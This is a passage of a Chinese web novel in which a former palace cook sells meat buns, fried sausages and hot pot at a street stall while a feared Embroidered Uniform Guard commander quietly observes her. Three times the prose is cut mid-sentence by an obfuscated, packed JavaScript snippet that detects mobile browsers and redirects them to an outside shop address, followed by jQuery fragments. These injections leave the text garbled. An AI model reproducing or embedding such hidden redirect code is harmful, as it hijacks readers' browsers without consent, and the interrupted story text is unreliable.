刀起，破了金红衣的肉块露出白花花的凝脂，肤白胜雪，酱躯浓色…… 江弥杉接着拿出叶绿的青椒，快刀切段，与肉切拌在一起。 最后握刀，尽数赶入饼内，饼立刻鼓饱饱的。 江弥杉又问：“公子可加卤汁，如此味道会更浓郁些。” ：“加。” ：“好。” 接饼，付钱，卢灿宇已等不及了，站在摊边就咬下一口。 香，甚是香，谷物的香、肉香、卤汤香，携带着辣椒微微的辣意，肆意地在口中冲撞，闯开清淡的味蕾，攻城略地，席卷整个口舌，一口就吸引住了全部的注意力。 饼子外壳微硬，口感酥脆，内里绵软紧实，被汤汁浸软，增添了几分咸香，夹在其中肉糜，皮脂入口即化，瘦肉香嫩多汁，夹杂在一处，既不会让人觉得干瘦，也不会让人觉着腻口，肥瘦相融，丰腴又饱足，香气直冲大脑，似乎都在往鼻子涌。 苍天呐，这是他吃了他五日清汤寡菜得来的福报吧！ 卢灿宇又大咬一口，眉欢眼笑地忘情吃饼。 路过的学员瞧一眼饼，又打量起小摊，最终忍不住走至江记小食前。 片刻后，就握着一口冒香的小小饼子，大口大口吃起来。 今日生意要比卖手抓饼时好，国子监的早课铃响，一锅肉就只剩下三分之一，饼也只剩三分之一。 江弥杉打算绕着回家去，早些回家，放好车，再去市场买菜。 一路走走停停，离桥还有一段距离，几个调笑着的男子走上来前，顶头的人一个开口道：“姑娘，饼子怎么卖啊？” 江弥杉停下车，笑回：“二十文一个。” 那男子不屑地笑一声，：“二十文？我花二十两，卖了你如何啊？” 江弥杉收起笑，：“算命的说我克夫，我前一个丈夫，挑开盖头就去了，怎么，公子是觉着活够了？” 男子身后的几位都骂一声晦气，男子脸色也不好，但又不想失了面子：“呸，我不过是看你有几分姿色，你真拿自己当菜了！” 江弥杉没作回答，心内冷笑一声，推车离开，身后就是那男子怒骂。 在桥边又停了一会儿，肉、饼也都售罄，天边的太阳已爬至房檐，与几只兽做着密切交流。 江弥杉回到倦，照常将推车放在后门，挎着放在门边木架子上的篮子再次出门。 遇到挑着担子沿街售卖的菜农，她挑几样菜蔬买下，手臂上挎着的竹篮也慢慢被装满，江弥杉改为提着，迎着日头往家走。 ＊ 午间，章文安审完人，觉着饥饿，便去食堂凑合一顿，他从食堂来，提着个食盒，走进指挥使的书房。 四周开阔，设一套案桌、临窗至有几盆水仙草，对墙满壁悬剑。 指挥使李定卓端坐桌案前，衣帽齐整，大理石地板上影纹丝未动，绣工精致的飞鱼服熠熠生辉。 章文安提着食盒走进，没有提案子，而是忆起今日吃得肉饼，连着又想到从前的事：“你可还记得那日我带来给你的饼子？” 李定卓翻过一页案卷，眼睫未动：“有话直说。 章文安顺手将食盒放于高桌上，啧了一声：“江记小食。” ：“怎么就恰好的也姓江呢？” 李定卓似是想到了什么，他面上依旧保持不动，淡淡抬眼横去，：“别去打扰她。” 章文安：“我只是食客，毕竟吃食实在美味，不过啊，有些人就不一定了。” 李定卓眸底闪过锋利，继续看案卷。 章文安打开食盒，里面装着一碗米饭，两盘菜食，一荤一素，：“为何，你偏偏如此关照她？” 李定卓：“你想的过多了。” ：“要吃出去吃。” 章文安划口米饭，夹一片笋片入口，略嚼片刻咽下，端碗转头：“吴太医都说了，要让你闻味、看色，否则你这少食、不食的毛病，何时能好？” 李定卓神色平静，不为所动，淡红的唇吐出冷冽两字：“随你。” 最后一页翻完，李定卓将案卷挪只左边一摞册子上，随后起身，径直离开。 章文安：“诶，去哪儿？” 未得答复，他目送李定卓的身影走出，无奈地叹口气。 他真的尽力了！ 李定卓在侧间换了身暗纹袍服，腰牌收入袖中，独自一人从镇抚司走出。 绕去街道，卖豆花的老伯未开摊，路边只有几个售卖卖蔬果的菜贩。 又往前走，是一架清河水桥，并未见到什么游动小摊。 李定卓淡然行过，走上一弯小桥，前方烟火袅袅，人头攒动。 忽掀起轻风，卷过油纸袋，滑至靴前，李定卓未留意脚下，踩过。 风时而又起，将油纸袋翻了个面，江记小食四字还未能看清，又继续被风推走。 再往前是清尚街，忽有顽童拉着位妇人走过，嗓音响亮：“那饼里的肉可香了，大峰说就是在这条街卖的，娘，我也要吃一个！” 妇人探头往前，却不见有什么摊子，便停了下来，：“做得这样好吃，兴许已经卖完了，等明日早些来瞧瞧，她若是卖，我们就买一个尝尝。” 二十文，也不便宜呢。 小男孩失落地又往前探眼，声音低低的嗯了一声，由妇人牵着转回走。 ：“宝儿可知里面的肉是什么？” ：“额……那个姐姐说是卤肉。” ：“晚上叫你爹爹卖一条肉回来，我们试着卤卤看。” ：“好！” 他是知晓江弥杉置了一个小摊的，江记小食，在点膳司几年，出了宫，售卖吃食的确是一条出路。 江弥杉是怕锦衣卫的，因而，即便他知晓摊位，也并未去打扰。 但，知晓她又遇宫中之事，还是来了，出乎意料地是，她好似能够应对。 李定卓若有所思地望着清尚街，又抬眼望向团的不知像什么的云，长呼一口气，心内生出一句问话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009201|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，风吹日遮，似是得到答案，他背手转身离开。 ＊ 隔十几日，江弥杉再去卖饼时，发现多了些跟她卖一样吃食的摊贩，比起探听消息的兰香，江弥杉并未太过担心，照常卤肉、揉面，天明推着小摊上街，江记小食的摊位前仍旧排着小长条的队。 这天有位食客来买饼，望着江弥杉剁肉，感慨道：“在下前几日沿街买了个饼，和姑娘做的方法相似，但肉的色泽、味道都差了许多。” ：“姑娘做的饼，味道会想着，其他的，就是个普通的饼子，吃过也就吃过，只当解个尝。” ：“哎呀，我家的夫人、小子都爱吃，整日缠着我买。” 江弥杉将肉糜倒进饼里，装进油纸袋，递给食客，唇角微扬露出几分柔和：“先生抬爱了，小女感激不尽。” 食客握着饼，深吸一口气，浓香软肉，立刻被俘获住心：“哎呀呀，就是这个味儿！” ：“多谢。” ：“您慢走。” 而后排着两三个人，江弥杉招呼几句，又继续取饼剁肉，时而笑着与食客交谈几句，得闲才抬起手臂擦拭汗珠。 不远处，站着道笔直黑影，远远观望前方热闹的小摊。 江记小食。 离开的食客，咬一口饼后皆是心满意足地模样，仿佛手中小小的饼似饕餮盛宴一般美味。 他目光停落在小摊中，眉眼含笑的女子，炎炎灿日之下，偏偏她一笑，就让人感觉如沐春风。 将军如今唯一的血脉，那个不苟言笑的威武将军口中，贪吃爱闹的小女儿。 李定卓的目光缓缓转回，见她乐在其中，丝毫未受影响，背身离去，未留意身后递饼的江弥杉投来的探究目光。 上辈子江弥杉的视力极佳，万幸重新活过来以后，视力也不差。 无意间发现有个俊冷公子盯着小摊这边，似乎还有些眼熟，看了一会儿又离开，心头一紧。 该不会她抢了谁家的生意，被盯上了吧？ 可对一个小摊动手，心未免也太狭隘了些，把心思用在做菜上，还担心做不出好吃的卤肉？ 转念一想，江弥杉越发找不到源头，一面猜，一面低头做肉夹馍。 三个食客拿饼离开，江弥杉又思索片刻，决定去一探究竟。 她推着小摊往前走，却没见着人，正好也累了，干脆沿街停下休息，拿出葫芦畅饮几口甘草菊花茶消渴，片刻，又有食客上前，又继续忙碌。 正午时分，江弥杉回到家，痊愈的兰香备好午饭，一道肉末蒸蛋、一道豇豆炒土豆丝，抬至树下的石桌摆放。 纵然吃过饼，江弥杉仍饿得不行，保持基本的吃相的情况下，端起碗挑饭吃，细嚼慢咽地吃了两碗。 喝汤时，热气腾腾的汤心急不得，江弥杉等待放凉，顺便夹菜吃。 此时，兰香问：“姑娘三日后日，早中间出去买饼吗？” 江弥杉舀两勺香嫩的鸡蛋放入小碟，问：“有何事吗？” 兰香两眼弯弯：“再过三日，夜里会举办烟火大会，之前还有舞龙、武狮，很是热闹呢。” 兰香解释：“我买了几个果子，听摊贩说的。” ：“烟火大会·······”江弥杉若有所思地念道。 人多，热闹，正合适卖小吃，炸、烤、煎，主打边逛边吃，分量不要求太多，但能过一把瘾，非常合适她的流动小摊。 江弥杉盛起鸡蛋：“也去，但早中不去，待太阳落山前，再出摊。” ：“也不卖饼子，换种吃食，至于卖什么，待我再仔细想想。” 兰香笑着说:"我随姑娘一起，为姑娘打下手。" 饭毕，两人合力清理小摊。兰香打水，江弥杉袖子挽至手肘，握着抹布，弯腰用力擦洗车架，最后一道，江弥杉退至一旁，兰香抱着盆水倒上摊车，冲去轮子上泥尘。 对着一轮璨璨金日，江弥杉伸个懒腰，：“可以收工了！” 兰香擦擦额头的汗珠，暖日下，她望着江弥杉笑。 5. 烤肠与炸肠 翌日，江弥杉买肉时顺带着买了些猪小肠，又去西域市场买回香料和炸面。 卖完肉夹馍后，江弥杉便处理腌肉与小肠。 小肠外翻，露出肠中油脂等脏物，仔细地剔除，至肠身透明，用葱、白酒腌渍、搓洗祛腥臊味，最后用水浸泡，将猪肠中的杂味消除。 入冬前，各家都会灌腊肠，为冬日储存粮食，兰香大致猜到，江弥杉是要做肉肠。 不过……和寻常的肉肠不同。 泡了一天的肠，到第二日，肠身的腥臊味就完全散了。 江弥杉搬着砧板坐至树影婆娑下的石桌剁肉，累了由兰香接力。 瘦多肥少的后腿肉，剔除肉筋，仍要花一番功夫才能剁细，轮换几次，才总算得了半盆淡粉的细腻肉泥。 放入昨日舂碎黑白胡椒、肉蔻等香辛沫，少许蜂蜜、砂糖、辣椒粉等提味增鲜，红米粉与生抽疼提色，搅拌均匀，肉色泽变得更鲜红。 想着日后灌肠方便，江弥杉最初就买了两个灌肠竹器，器具表面光滑的竹子制成，用于推挤肉。 兰香将肠口套在器具出口的细竹竿上，尾端系上节，江弥杉将肉泥放入筒内，再慢慢推挤进轻薄的肠衣，由兰香滑摸着帮助肉泥下落，直至肠衣塞满。 此时还未完，饱满的肠需用丝线在每隔一指长的位置系紧，捏细针戳出气眼，以免肠衣爆破。 配合默契，两人合力灌肠，事倍功半，太阳往西游走，盆里的肉泥已换成了串串红肠，晾肠，兰香轻车熟路，钩子挂住肠头的线结，一排的挂至廊下。 红彤彤的一排，风一吹就跟着晃，兰香愈发好奇会是什么味道。 到了晚间，江弥杉将煮过又晾干的肠沿针线系过的地方剪下，整齐码放在竹篮内，放至背光处存储，留下四五根，做夜宵。 入夜，廊下置个碳炉，江弥杉与兰香一前一后，期待地围着冒香的红泥小火炉。 噗呲一声，肠从半腰绽开，裂至肠头，薄脆的肠衣油光闪闪，淡红的肠肉微微翘卷，溢出油汁顺着肠身落至碳火，噼啪作响。 江弥杉满意一笑，抬眸与兰香对看一眼，从放在栏上的瓷碗中碗，盛一勺炒香的辣椒面，抖动着，从肠头撒至尾，均匀地沿着肠身洒了一周，香辣的滋味顷刻席卷鼻息。 兰香被勾得直咽喉咙，眼睛一刻都不离开。 又烤片刻，江弥杉夹起肠放入盘里，递给兰香：“现在可以吃了。” 兰香接过咬下一口，肉汁立刻爆出，肉肠甚是鲜香，与辣味交融，在舌尖蹦跳欢舞，只觉口舌都跟着次兴奋起来，丝毫不觉无趣。 口感也会寻常的肠不同，这肠吃起来，肠衣经过炙烤后香脆，其中的肉泥弹软又有嚼劲，搭配上辣椒面，辣、香、麻，与肉香融于一肠，实在越吃越香，还没有缓过神，一根肠就没了。 很奇妙的口味与感觉。 江弥杉咬一口肠问：“如何？” 兰香吃得口边都是油，眼珠亮晶晶的：“好吃，我还未吃过如此味道的肠呢。” ：“姑娘打算卖这个吗？” 江弥杉笑着摇头，描述起构想的炸肠：“我打算卖炸的，在肠外面过一层土豆泥，最外面再裹面糊与西域市场买来的面包糠，浸过鸡蛋液，油炸过后，金黄灿灿，刷上辣酱汁……” 兰香听得口水都快流出来了：“啊……听起来也很好吃。” 江弥杉：“待明日做好土豆泥，炸给你尝尝。” 兴许是因为牛乳的价格高昂，西域市场还未有售卖像芝士、黄油这些奶制品的摊贩。 拉丝是做不到了，但用调配适当土豆泥，亦然可以感受到一口咬下去，有东西流出来时的惊喜感。 类似于拆开一个礼盒，发现其中还有一个小礼盒的惊喜。 有上辈子的经验技术，江弥杉试了几回，就将土豆泥调出了满意的稠度，保证一咬破，土豆泥就流出。 兰香眼睛一亮：“姑娘真好！” ＊ 日悄悄而落，撒下一片金沙，镀在地面、房瓦、流河间。 一条金龙圈着舞跳的红狮，蹿起身，一口吞没挂在天边的红日，又欢舞着，旋身绕向前方。 龙身略过一小排队伍，人正探眼观望着小摊里两人姑娘手里的肠。 兰香拿起两指粗的肠浸入砂锅中金黄的蛋液，裹上均匀一层后，放入江弥杉面前滚滚大泡的油锅，滋滋响。 小摊前悬着一个木板，板上描画着两根肠似的吃食，一根外皮淋着橘红的酱汁，一根露出金黄的外衣。 走近一看，锅里炸着的，可不就是与画一样。 锅内的油清澈，锅壁是何种模样都看的一清二楚。 细密地油泡围绕着灿黄的炸肠，滋滋响，灿黄的面衣之上，颗颗细粒交杂，被油泡燎的金灿灿的，瞧着就酥脆无比。 稍时，几根肠被捞起，放在锅上的铁架子漏油。 江弥杉抬起圆亮的美目，温声询问站在面前的男子：“公子，炸肠可刷辣酱？” ：“刷！”早在街上就闻见香味了，那有不刷的道理。 ：“好。” 油滴滴落尽，江弥杉夹着肠至辣酱罐上，右手捏着布刷在酱料罐里翻搅几下，接着拿起布刷，轻轻涂上棕红中点燃些需白芝麻的酱料。 最后麻利地装进油纸袋，递给食客，钱就投在摊车的罐里。 咔呲咔呲的脆声将排队的人给引馋了。 可这肠实在美味，他一刻都等不及。 外壳又香又脆，沾着的辣酱在口中爆开，麻辣的酱味中，带有香辛料融合后的味香，一下就冲醒了味蕾。 咔呲一口，咬破脆辣的面衣，舌尖一烫，嗯? 竟是沙绵绵的香，缓缓流出，像是土豆，咸香又带着略略的幸辣，绵密细腻，在舌尖热乎乎的，有了辣酱的增味，十分让人惊喜。 而后才咬到香脆的肠，刚咬破一截就喷涌热烫的油汁，热肉弹软鲜香，爆开的香就如一撮火，点燃舌尖烟火线，霎时间，舌尖绽放绚丽烟火，只觉得美味无比，似乎恰好就在苦等，立刻这一口又香又脆的肠满足了…… 几时吃过这样好吃的炸物！！ 他又大口咬下一段，鼓着嘴嚼。 日头完全落下，繁星环环绕半圆的月，笼罩下方街道的人声鼎沸的烟火凡境。 兰香一丝也不敢懈怠，麻利地夹着裹着面衣的肠蘸蛋液，忙得脑子里想不进多余的事，只有蘸蛋液，放进锅。 江弥杉先是还能笑，这会儿笑得嘴僵，便只是提着嘴角，都觉着累，手上的活还停不下。 章文安拽着李定卓出来逛街，忽见前方江记小食四字，摊前已排了一个说长不长，说短不短的队。 尖下巴朝远方一点，与李定卓道：“江记的摊子。” 李定卓望去，油锅前站着的人，笑面温和，他嗯了一声， 旁边忽飘过一道诱人香味，章文安闻味看去，就见一个孩童手中握着外金内红的半根肠，油纸袋上是书写的几个字——江记小食。 ：“我得去尝尝。”实在是太香了！ ：“……” 排至队伍，等了片刻就到了，香味更甚。 江弥杉抬眼草草一扫，有几分面熟，：“十文一串，公子买几串？” ：“两串。” ：“好嘞。” 李定卓站在一旁，凝眸垂望着江弥杉忙碌得模样。 ：“加辣酱吗？”下一刻，江弥杉抬头旬问，目中一凝，愣了会儿。 怎么会是他？ 那个站在远方盯着她小摊的男子。 章文安：“只加一串。” 一道声拉回江弥杉的思绪，她未露出声色，浅浅笑着，点两下头，垂眸刷酱。 普通食客盯着她的小摊做什么呢？ 盯着也不买吃食，奇奇怪怪的。 一面思索，江弥杉一面将两跟肠分装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009202|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，递给章文安，又扫了李定卓一眼，依旧毫无头绪。 两人离开，江弥杉探头望着那道黑袍，他究竟是何人？又有什么目的呢？ 又有食客上前，她收回目光，压下好奇，继续专心炸肠。 远方，章文安递了一根给李定卓：“尝一口？” 李定卓屏住呼吸，快速垂眸一扫金灿灿的肠，接着抬眼：“自己留着吧。” 章文安挑眉，嘿嘿笑两声：“那就都成全了我。” 说完，他咬下一口。 香得提神的肠刚咽下，章文安：“果真一口都不吃，我与你说啊，真是又香、又脆，这炸货竟做得如此美味，香得我舌头都发抖。” 李定卓：“你吃什么都香。” ：“不一样，真不一样，这个是真美味极了！” 他都觉着审人的疲惫都没了！ ：“爱吃，就自己留着。” ：“……” ：“行，那我全吃了！” 李定卓没有理会，岔开话：“出来凑热闹，为得就是这个？” 章文安嘟嘟囔囔：“审累了，出来散散心，明日接着上刑。” ：“我可不比你，溅脸上还补一刀。” 李定桌：“我以为，你已审出结果来了。” ：“还差几个名字没吐出来。” 私售火药，背后主使是何人，经手的都有谁，最后赃款的流水都要查得一清二楚，才能上报皇上。 这些天审出了主使，只差分赃者的名单还未确定，想来也是京中某几位位高权重的勋贵，因而即便审问，也咬死牙不说。 砰的一声，天空亮起，绚烂的烟火穿过淡云，刺穿金月，绽出五光十色。 行走的人为之驻足，尚还年幼的孩童愉悦地哇一声，拉着爹娘的手：“爹、娘，快瞧！！真好看！！” 绽出夺目光彩，李定卓目光平静，波澜不惊，：“明日早间还无结果，我亲自去。” ：“你无需告诉他们。” 章文安咬进最后一节肠：“行，皇上可吩咐了，留活口。” 李定卓：“我不难，难得是他们。” 并肩而行，后方是正还热闹的江记小食。 兰香转头望着身后的亮彩天空，手里还忙着：“真好看！” 江弥杉刷完酱，趁递给食客时，快瞧了眼，笑意中多了几分欣悦。 绚烂的烟火热情四溢，渲染着这片墨黑的天空，繁星似乎都暗淡无光，将舞台留给了耀眼烟火。 烟火吸引了所有人的目光，江弥杉笑着，：“是啊，真好看。” 红墙绿瓦之外，连烟火都是自由的、松快的。 即便同样忙碌，同样在烹饪，可风是轻的、人声是愉悦的。 不用提心吊胆的担心食不对某位贵人的口味被责罚，亦不用害怕被责骂、更不用担心有不怀好意的人贴身动手…… 偌大的京城，她有了立足之地。 想着，江弥杉手上的动作更快了些。 一袋接一袋的肠连续不断地递出，两筐肠在红焰中空空荡荡，小摊前的人也散了。 江弥杉盖上锅盖，：“可想在逛一会儿？” 兰香甩甩酸了的手，腿也站得发酸，心有余而力不足，：“姑娘呢？” ：“我想着沿回去的路逛，看到喜欢的，停下去买。” ：“我也这样想呢！” 劳累了一夜，多余的力气是没有了，但肚子仍是空的，不知为何，总觉着若是能畅快地吃碗面，一筷一筷嗦，该是何等畅快。 如此想着，江弥杉更饿了，加快脚步。 ：“回去，煮肉酱面吃。”要一大勺帽子，肉油裹住面条，一口嗦下，做不成与泡面一模一样，口味好歹也能复刻。 ：“再加跟肠如何？”江弥杉顿了顿，又问。 泡面配烤肠，单独吃、或是将肠加进面里，都很美味！ ：“好！” 6. 碗碗香 过了烟火大会，天乍然转冷，寒凉的天气，早起最难，连续几日，江弥杉都睡过头，天大亮才醒，于是决定干脆午间在出摊。 天忽冷忽热，江记小食又卖了几日肉夹馍，热乎乎、香喷喷的肉夹依旧畅销，每日连肉汤都不剩。 时而也有食客来问是否有炸肠，江弥杉笑回，往后会择日售卖。 午间售卖，肉夹馍在国子监与一些街道的售卖时间明显更长了些，估摸着食客需求，江弥杉决定更换菜品。 热乎乎、香喷喷、最好有汤汁，江弥杉立时有了主意，去市场采买。 又过两日，风寒温低，国子监学生外出用午饭，前日吃了肉夹馍，卢灿宇本打算换换胃口，待走过江记小食的摊子，却见今日竟不是卖肉夹馍，而是煮着两锅蔬菜，一锅清汤，一锅油辣，肉菜齐全，各种菜都分煮在一间四四方方的小格内，香烟袅袅，着实诱人。 闻着香，卢灿宇不禁走上前，口馋地问：“这是？” 江弥杉笑着介绍：“碗碗香，公子可自行挑菜，一种素菜三文，一种荤菜六文。” ：“若是公子带着餐碗更好，可打了带进去，配上米饭，暖呼呼吃一碗。” 红辣辣的辣汤里，飘着的菜蔬都被染红了，而清汤中，菜蔬还保持着静谧与素净，色泽都及其鲜亮。 卢灿宇没有犹豫，转身又进了国子监。 片刻，四五个与卢灿宇一起提着食盒的学生朝小摊来，江弥杉扇起火，这会儿汤底刚好沸腾，咕嘟咕嘟地冒着大泡，里面的菜蔬起起伏伏，晃的人眼馋。 卢灿宇排在首位，指了几个格子：“红丸子、香菇、笋子。” ：“额·····还有这个，这个，这个······” 江弥杉一一做介绍：“这是虾肉丸子、鸡肉香菜卷、豆皮、笋子，莴苣、辣汤里的香菇肉丸，木耳肉丸。” ：“公子可来几勺高汤？” ：“是用筒骨熬制而成的。” ：“来一碗。” 热气腾腾，满满一碗。 打完菜，江弥杉道：“还有自家泡的菜蔬，公子是否尝尝？”她打开右边的放着的一个宽碗，其中存放着橙红的胡萝卜、黄白相间的白菜，点缀着几颗红彤彤的小米椒。 卢灿宇：“都来一点吧。” ：“好的。” 色泽亮眼的腌菜放至小碟里，三个碗收进食盒，江弥杉稳稳提着递出去：“公子当心。” 卢灿宇轻车熟路地往面前的砂罐放钱，提着略沉的食盒大步离开，去食堂打饭。 碗碗香，究竟有多香，只有亲自尝了才晓得。 卢灿宇迫不及待地先喝了口奶白的高汤，熬得时间够长，精华都融在了汤里，否则也达不到如此色泽。 筒骨鲜香又有菜蔬与肉丸的味道融在其中，鲜香的舌软。 热汤似沿着经脉至流全身，体内当即被温热。 菜肉也不同凡响，吸住了高汤的鲜香味儿，一口下去就爆出汁水。 肉丸之上，辣光油亮，红艳艳的，只看色泽就能感到辣意已经冲进了唇舌。 刚咬下一口，收在弹嫩肉中的热辣鲜汁便涌在舌尖，越嚼越香。 卢灿宇只觉身上如被软毛溜了一转，所经之处，痒酥酥的十分舒坦，又禁不住地把余下的丸子送入口，大口地吃，更香，两道剑眉都欣悦地挑起。 肉丸下肚，趁着肉香未散，他赶紧再吃几口米饭，脸上露出满足地笑。 肉吃了些，卢灿宇夹起奶汤里的菜蔬缓合，软帕的菜蔬凝聚丝丝缕缕的清甜、在鲜美的浸透中，菜蔬自身的味美凸显而出。 一抹自身的清甜，或是香，如添上一笔或浓或淡的妙笔，少之可惜，多之增色，送来清新的抚慰。 恍惚间，卢灿宇如处山野田间，春日暖风拂面，心旷神怡。 怎么连菜蔬都如此美味！！ 一碗饭不够，卢灿宇又去添了一碗，奶汤浸饭，放上点酸菜，身心都暖和了，浑身的力气填满了！ 天凉时，就该如此热乎乎地来上一碗。 连汤带菜，一点不剩地吃完，卢灿宇面露喜色地吐出一口气，饱足地摸鼓起的肚子。 真舒坦！ 此时，又有几位同窗走进食堂，提着食盒，眼睛在食堂搜寻位置，卢灿宇收起碗，喜盈盈地提着食盒离开。 ＊ 午后，江弥杉推着车四处游逛，顺道寻找店铺，走走停停，又在清尚街前的水桥停下，满意地数着木篮里几摞用过碗。 没用过就剩五六个，不算上国子监的外带和一人重复点菜的话，这几十个碗完全不够用，签子用起来又很是浪费，增多一笔支出，否则她也不会选择使用碗来盛。 不过当下这样也很好，唯一的不足，就是需要多洗几个碗。 江弥杉拿起葫芦又喝一口红枣枸杞茶暖身。 李定卓对岸走来，一眼就看清了停在桥前的江记小食。 沿路上桥，他斟酌片刻，神色淡然地走至摊前。 又是他！ 早已积存在心里的怪异，到此刻又涌出，若是直接问，反倒显得她斤斤计较，在奇怪，此刻都是顾客，得招待着。 江弥杉诧异地睁眼，眨眼间回过神，压下好奇，招呼这位神秘食客，语气如常柔和：“这是碗碗香，素菜三文，荤菜六文，公子自行挑选。” 说罢，她弯腰拿出个白瓷碗，一手拿勺子，已做好准备，等着他挑菜。 李定卓目光从两锅吃食上略过，剩得吃食都已不多，他抬起凤眼，目光又重新落回至人：“豆腐。” 冷寒似烈冬冰崖，风雪狂袭，仍不为所动。 江弥杉嘴角微微勾起笑，垂下眼：“……好。”她从高汤锅的格子里捞起四块白花花的嫩豆腐，又从竹筒中一副筷子，双手捧碗递给李定卓。 小心接过碗，李定卓望着四块豆腐，色泽雪白，细腻平滑，他犹豫片刻，终挑起一块，送入口中。 口感软嫩，嫩得才送上舌头就裂开，一团雪似的化了，又被煮的十分入味，浓郁的豆香与鲜美的高汤像结合，令鲜香味更上一层楼，抓住了舌尖，也抓住了他的思绪。 看似寡淡无味，实则味美汤鲜。 出乎意料的，很对他胃口。 无言，李定卓接着挑起余下几块，面无波动地吃完。 正当江弥杉怀疑豆腐不对他味口时，悄悄观察，那人终于说话了。 ：“再来一份豆腐。” 江弥杉松了口气，微笑答道：“好的。” 他站至摊边，又挑起豆腐细嚼慢咽。 忽得，桥上传来一声惊呼：“活阎王！” 江弥杉循声望去，看两个锦袍公子哥惊恐地望着摊边，随后拔腿就跑。 江弥杉又望向一旁神色冷峻的人。 活阎王，怎么这么耳熟，似乎在哪里听到过…… 片刻后，她眼底滑过一抹思绪，眸光凝缩，回忆起才从宫里出来那日，听得的对话。 锦衣卫，活阎王…… 他就是那个，让人闻风丧胆的活阎王！ 印象中，江弥杉对锦衣卫的记忆并不好，或者换一种说法，她的父兄都在里面被折腾得不成这样。 即便如此，也没有屈打成招，认罪画押。 可……依旧无法触动一个满腹猜疑的皇帝。 江弥杉收拢手，藏进车后的暗暗发抖，所以，他之所以远远观察她的小摊，是因为，她是江家唯一存活于世的人…… 可老指挥使已经定罪斩了，莫非他是老指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009203|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的拥趸，打算对她动手？ 可冤案平反了，还能做什么？ 莫非是家人当年口出不逊，他如今代老指挥来找她算账了？ 可……难道不应该吗？ 换做是她，那样的情况下，冤情似海，很难忍住不出言不逊。 江弥杉深吸一口气，没有再纠结下去，打算兵来将挡水来土掩，她安纪守法，也没道理平白无故抓她进去吧！ 活阎王吃完了豆腐，递回碗筷，付了钱，头也不回的离开。 江弥杉望他离去的背影，更加捉摸不透，不是报复、只来吃一碗豆腐，又望眼吃干净的豆腐，暗暗觉着此时不同寻常。 接着，她背后一凉。 万一他回去硬说自己吃了摊子的东西，身体不适，以此为由来抓她怎么办！ ＊ 胆战心惊地过了几日，没有等来锦衣卫的提审，江弥杉稍微送了口气，安心在院子里磨黄豆，做豆腐。 做豆腐，又不仅仅只能做豆腐，一锅之内，时间长短、火候变化，能够催生出不同的豆制品。 醇香的豆浆洗涤清晨的尘土，香软的腐竹炒卤皆宜，滑嫩的豆花甜咸各有滋味，嫩豆腐柔嫩，老豆腐劲道香醇…… 口感片硬的豆腐，又可用来做豆泡，单做可泡进鲜汤浸软，一口喷汁；加内馅儿可以做成福袋，品尝美味之余，又多增精喜。 江弥杉还在厨房切豆腐块，四四方方，手心一半大，整整齐齐地叠放在竹篮中。 兰香端进一篮洗去尘土的菜蔬，走至江弥杉对面，问：“姑娘预备做什么？” 江弥杉抬眼答：“做豆腐袋，碗碗香该换几样菜色了。” 可惜当季没有魔芋，否则还能做魔芋丝。 兰香：“豆腐袋，是将这次菜蔬放入豆腐里吗？” 江弥杉：“对，不过可以多做几种搭配，开袋不同。” 兰香：“我帮姑娘切菜。” 江弥杉：“都切成细丝。” 话毕，两人在厨房各自忙碌。 切完豆腐，炉火也燃得正旺，油也很快发热，江弥杉轻轻将豆腐块放入热油翻炸。 热油拥簇间，豆腐表面镀上淡淡金黄，悠悠的豆香随油温生长，兰香先忍不住地空咽一口。 豆腐分两批炸金，接着复炸至豆腐内里微微鼓起，表皮色泽更发浓色，金黄亮眼，江弥杉漏起满满一勺，放至下放口孔的木盆沥油。 兰香的菜也切都切好，红的胡萝卜、青绿的卷心菜、嫩黄的白菜叶，棕黑的香菇，四碗缤纷细丝。 忙至午后，两人坐在树下为豆泡填满内馅儿，用豆芽扎紧口， 翌日，江弥杉推摊售卖时又遇上了活阎王。 今日依旧只点了四块豆腐，吃完豆腐，又盯着飘在奶白汤中的金黄袋子。 李定卓抬眼问：“这是何物？” 江弥杉的笑中又增了几抹客气，温声解释：“是用豆腐炸成豆腐袋，里面装着些菜蔬。” 可没有一点不对劲的东西。 ：“来一个。” ：“好的。” 接过碗，李定卓垂眸挑开金黄的豆腐袋，一股奶泉绕着筷尖溢出。 细彩丝交织在一处，橘红、青绿、嫩黄、棕黑，色艳但又清新。 夹起入口，豆腐劲道，在高汤的滋润下略略回软，菜蔬鲜美中带着菜蔬清新，口感耙嫩，纵使年老的人，吃起来也十分轻易。 江弥杉悄悄打量着旁边没有多余一丝表情的人，似被冻住一般，不见喜乐，每一口都像在细细品味。 看样子，应该还算满意，只是表露的不太明显。 寻仇到不像，倒像是专门来吃东西的。 